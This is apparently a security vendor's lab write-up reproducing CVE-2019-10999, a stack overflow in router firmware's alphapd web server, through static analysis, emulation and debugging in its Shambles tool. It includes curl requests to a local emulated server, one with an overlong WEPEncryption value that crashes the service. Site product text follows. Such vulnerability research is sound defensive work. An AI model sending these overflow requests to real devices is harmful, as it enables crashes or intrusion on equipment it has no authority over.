Both messages mention the address near sub_43b7c0 several times, and the code risk detection directly points out the stack overflow risk associated with the address &lt;sub_43b7c0+1b4&gt;strcpy. So &lt;sub_43b7c0+1b4&gt; is more likely, double click &lt;sub_43b7c0+1b4&gt; to jump to **strcpy(&var30, v2)** to view ASM code.

#

<img src="/ucenterapi/upload/file/0cbaf27fc552e65ad2e6d69ccffe7d9b"></img>

*Figure 2*

#
ASM code can only see the place is a strcpy call, press F5 shortcut key to switch to the "**pseudo view**" to view the disassembly code. As shown in Figure 3, line 25 copies the content of v2 to the address of the stack variable &var30. The logic of the decompiled code in line 11 to 19 is: "**When the WEPEncryption parameter does not exist in the p0 memory address, no valid operation is performed and it is returned directly, while when the WEPEncryption parameter exists in the p0 memory address, websGetVar returns the contents of the WEBEncryption parameter**". Combined with the CVE information and the meaning of the function name websGetVar, it is hypothesized that sub_43b7c0 may be the function that handles the network request parameter WEPEncryption. Verifying this speculation requires proving that **sub_43b7c0** is executed when a web request with the WEPEncryption parameter is sent against wireless.htm, which requires dynamic simulation to run the firmware.

#

<img src="/ucenterapi/upload/file/25adb787a424783cd5a9fa34b17da91f"></img>

*Figure 3*

#
## 2. Dynamic debugging

According to the conclusion of the static analysis above, we know the cause of the vulnerability and the possible location of the command, and then enter the second stage of the dynamic verification process: using Shambles Desktop's firmware emulation "Virtual Machine" （Hereinafter referred to as "**VM**" ）function to debug the firmware dynamically. To enter the simulation function, first we need to switch the file management module of Shambles Desktop to "**Cloud Mode**", and then click New in the right toolbar of the VM management tool, select the file system where alphapd is located, and create a simulator (as shown in Figure 4). Then select the file system where alphapd is located in the file manager and right click to open a terminal (hereinafter referred to as the file system terminal). As shown in Figure 5 below, the firmware's file system is mounted.

#

<img src="/ucenterapi/upload/file/a384d67e51c1220ce79b7f2f4722377c"></img>

*Figure 4*


<img src="/ucenterapi/upload/file/733e4e9a1148666aacdb211be7abe126"></img>

*Figure 5*

#
```
/bin/alphapd
alphapd: Startup!
alphapd: cannot openpidfile#
```
#
Typing :"/bin/alphapd" in a newly opened filesystem terminal, starts** alphapd**, an error is returned, there was an error starting alphapd.

Searching for the corresponding error message "cannot open pid file" in alphapd, there are only two references, one in .rodata (the area where strings are stored in executables) and the other in the code snippet. Prioritize the code snippet, analyze the function (as shown in Figure 6), the if statement at line 62 indicates that when a file does not exist, it will throw an error "cannot open pid file". Click the Tab key at line 62 to switch to ASM View, and infer from the ASM decompilation aid (shown in Figure 7) that the file should be /var/run/alphapd.pid.

#

<img src="
/ucenterapi/upload/file/c71d2460c03221ae7c1347937df40447"></img>

*Figure 6*


<img src="/ucenterapi/upload/file/d03698ff87a81e6cbeee6977cfa5490d"></img>

*Figure 7*

#
Manually create "alphapd.pid" with the command shown in Figure 8. Run alphapd again, the old error has been resolved and there is a new error. Again, searching for this error, the cause was found to be a non-existent /var/run/nvramd.pid file.

#
```
#mkdir/var/run
#touch/var/run/alphapd.pid
#/bin/alphapd
alphapd: Startup!
alphapd: waiting fornvram_daemonalphapd: .alphapd: .alphapd: .alphapd: 
.alphapd: .alphapd: .alphapd: .alphapd: .alphapd: .alphapd: .alphapd: 
.alphapd: .alphapd: .alphapd: .alphapd: please executenvram_daemonfirst!#
```
#

<img src="/ucenterapi/upload/file/814d0c32ecef6c6142ce353f1ba3e842"></img>

*Figure 8*

#
Create the file "/var/run/nvramd.pid" , run alphapd again. the old error is resolved, a new one appears.

#
```
#touch/var/run/nvramd.pid
#/bin/alphapd
alphapd: Startup!
alphapd: Can't getlanipfromsysinfo!
alphapd: failed toconvert tobinaryipdataalphapd: Shutdown!
```
#
Again searching for the corresponding error, we found that nvram_bufget could not get the "IPAddress" (as shown below). nvram_bufget's function is to read the information. the simulation environment of Shambles supports to initialize the device parameter configurations from the configuration file. So we just need to do the right configuration, first check if the configuration file exists in the firmware, and if it doesn't, then we need to query the device operation parameters from the executable file. Global search for "IPAddress" keyword, there are multiple file references, because it is looking for configuration files, so first exclude executable files, sh files and cgi files, only RT2860_default_vlan this file is left, check RT2860_default_vlan, found that there are a variety of parameter configuration "IPAddress" is also among them, so RT2860_default_vlan is the probability of device parameter configuration file can be used to test it. vlan, found that there are a variety of parameter configurations, "IPAddress" is also among them, so RT2860_default_vlan is the probability of the device parameter configuration file is relatively large, you can use it to test. Luckily for us, there is more elimination work to be done when there are many search results.

The Shambles simulation environment comes with libnvram.so pre-built in the /shambles directory, which loads the device parameter information from the configuration file. Copy RT2860_default_vlan to the directory where libnvram.so is located, rename it to nvram.ini, and run alphapd again, because this time we are going to use libnvram to simulate the device information, so we need to preload libnvram.so when we run it. Enter the command "LD_PRELOAD=/shambles/libnvram.so /bin/alphapd" , the results are as follows, although there are some other errors thrown, but alphapd does not interrupt, indicating that the successful start.

#
```
#mkdir-p /shambles/libnvram
#cp /etc_ro/Wireless/RT2860AP/RT2860_default_vlan /shambles/nvram.ini
#LD_PRELOAD=/shambles/libnvram.so /bin/alphapd
nvram_get_buf:IPAddress
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = "2.65.87.200"
alphapd: Can't getlanipfromsysinfo!
alphapd: Version 2.1.8 running at address 2.65.87.200:80
nvram_get_buf:AccessControlEnable
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = "0"
nvram_get_buf: User1
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User2
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User3
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User4
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User5
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User6
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User7
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
nvram_get_buf: User8
sem_get: Key: 41370002
sem_get: Key: 41370002
nvram_get_buf: = ""
```
#
The default web service port for general alphapd is 80 (as shown in Figure 9). set up port forwarding and visit http://127.0.0.1:80 to try it.

#

<img src="/ucenterapi/upload/file/347ff5a3347f66883007ce738cb6fffc"></img>

*Figure 9*


<img src="/ucenterapi/upload/file/cfc60da3268da192d648b8accf17d62c"></img>

*Figure 10*


<img src="/ucenterapi/upload/file/b0fb92e467a8daa971efa1b9146aa736"></img>

*Figure 11*

#
Visit http://127.0.0.1 with a browser, it shows the interface as shown in Figure 10 above, on this device, the default admin secret is empty. Click login and see the interface as shown in Figure 11 above, proving that the alphapd web service is running normally.

## 3. CVE reproduction

In the following section, we will reproduce the CVE in conjunction with our static analysis in Section 1. First, we verify that alphapd can respond to requests for wireless.htm. The method is as follows: send a request with WEPEncryption to wireless.htm, and if it returns a normal message, then alphapd can respond to the request. Enter "curl http://127.0.0.1/wireless.htm?WEPEncryption=FEWFEW" at the local command line, the return message is shown in Figure 12 , which indicates that alphapd responds to the request with WEPEncryption.

#

<img src="/ucenterapi/upload/file/2c05c5cca27ac72ca9d4f32bc605508d"></img>

*Figure 12*

#
Then verify that a web request with WEBEncryption is sent to wireless.htm by executing strcpy at sub_43b7c0+1b4. First start alphapd in debug mode. press ctrl+c in the file system terminal where you just ran alphapd to close the process. Then click on Debug Configuration in Shambles Desktop's alphapd decompile screen and configure libnvram.so as a preloaded library. (This does the same thing as running LD_PRELOAD=/shambles/libnvram.so /bin/alphapd). Start debugging, and the event log window returns the log shown in Figure 13. The log is the same as the one displayed by running alphapd from a file system terminal, proving that the debugging started properly.

#

<img src="/ucenterapi/upload/file/fa106b6f3d1ed079c1300b488678a940"></img>

*Figure 13*

#
First in the following figure marked position breakpoints (as shown in Figure breakpoint 1), send the corresponding network request, the debugging process will indeed stay in breakpoint 1, proving that sending a network request with the WEPEncryption parameter to wireless.html will be executed to strcpy.

#

<img src="/ucenterapi/upload/file/f4457bfa1047d4b9943f23be08a495b6"></img>

*Breakpoint 1*

#
Finally, we verified that when the WEPEncryption parameter is too long, it causes a stack overflow.

The verification method is as follows, send the parameter request of WEPEncryption with normal length and the parameter request of WEPEncryption with excessive length to wireless.html respectively, and compare the information in the pc register after the network request is completed. As shown in breakpoint 2 in the figure below, check whether the information in the pc register has been modified after the execution of jr. The value ra in breakpoint 2 is the jump address of the funtion sub_43b7c0 in breakpoint 1 strcpy after the execution is completed. Jr instruction will copy the value in ra to the pc register.

Finding breakpoint 2 proceeds as follows.

Place the cursor at the return of the sub_43b7c0 function (as shown in Figure 14) and press the tab key to switch to "ASM View". Find the corresponding jr instruction position. It is the breakpoint 2 shown in the figure below.

#

<img src="/ucenterapi/upload/file/29c0ce3a2044f65a338b2e79ef7c31ee"></img>

*Figure 14*


<img src="/ucenterapi/upload/file/3c2787171d1af4f7ad2dce5a6414c5d4"></img>

*Breakpoint 2*

#
**Test 1.**

Start alphapd debugging and enter "curl http://127.0.0.1/wireless.htm?WEPEncryption=ewfwefwefewf" on the local command line. The debugging process will stop at breakpoints 1 and 2, and after the execution is completed, the content of the pc register is the address of an instruction (as shown in Figure 15), and the network request will return normally.

**Test 2.**

Input "curl http://127.0.0.1/wireless.htm?WEPEncryption=ewfwefwefewffeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefwefwefwefwefwwwwwwwwwwvvvvewfwefwefwefwefwefwefwefweffweeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" on the command line of computer terminal. The debugging process will stop back and forth at breakpoint 1 and breakpoint 2. After the execution is completed, the content in the pc register is no longer the address of a particular instruction, but has been modified to a certain memory address (as shown in Figure 16), and at this point the execution will continue, and alphapd will crash, indicating that the stack has been destroyed.

Comparison of the results of the above two tests indicates that sending a network request with the WEPEncryption parameter to will execute strcpy. this function will allow the user input variable to be copied to the stack memory. This results in the user input variable being able to arbitrarily modify the stack memory. With clever parameter construction of WEPEncryption, the attacker can execute arbitrary command attacks by modifying the pc register contents to the address of other arbitrary commands.

At this point, the reproduction of CVE-2019-10999 on Shambles is complete.

#

<img src="/ucenterapi/upload/file/4ff21d19420e6231dbf69dacf45c9f06"></img>

*Figure 15*


<img src="/ucenterapi/upload/file/a0e1ecaef826834ced80305878cae34e"></img>

*Figure 16*

CVE-2019-10999 Vulnerability Repeat on Shambles

About Us

公司荣耀

Milestones

 Who We Are

We Are A Professional Team 

Home

Product

Service

News

Support

Knowledge Base

Guides

Submit A Ticket

Engine

Cornerstone Of Core-Level Technology

Multi-Industry Involvement

Lian Security

Reactor Engine

Support ARM, MIPS, PPC Instruction Set 

Pseudo-code in more intuitive and user-friendly way

Built-in optimization of pseudo-code regeneration for embedded / IoT firmware

Optimized Disassemble and Decompiler for Embedded / IoT Reverse Engineering

Pattern is organized in CWE form 

Bug finding process happen in embedded customized Intermediate Representation (IR)

BinQL – Our proprietary bug query language in specifying pattern to accomplish targeted IR analysis

Pattern Specific Bug Finding Approach

Output firmware supply chain information

Multiple firmware supply chain cross validation

Supply Chain Analysis

Create appropriate test case to reach into the code block with respective CWE

Selective approach to focus on the targeted code

Performance optimized for embedded firmware architecture

Integrated Symbolic Execution

System emulated fuzzing

Partial emulated fuzzing

CWE Specific

Pattern Specific Fuzzing Approach

Customized and concatenated pattern

Analyze a mass quantity of firmware without human intervention 

Generate professional report 

Headless Automation

Product Introduction

FAQ and Help

Detect the shell type

Unshell in the cloud

Present the original content

Automated Unshell 

APK File Manager

Restore source code

Best source code reading and editing experience

Static Analysis

One click to start debugging

Debugging apk as debugging source code

Simple, stable and friendly

Debugging

Real-time updated vulnerability repository and risk detection engine

Accurate detection with dataflow tracking technology

Locate the specific row number of vulnerability

Cloud-based scanning

Managed-flash dumping via field bus

Unmanaged-flash dumping with ECC patching

Intuitive user interface 

Firmware Dumping

Enumerate hardware pinouts for debug port

Expandable pinout count for enumeration

Performance optimized to reduce the enumeration time

Debug Port Finding

Hybrid approach of debug port enumeration and debugger adaptation

Connection matrix in switching the correct debug port pinouts onto the debugger respectively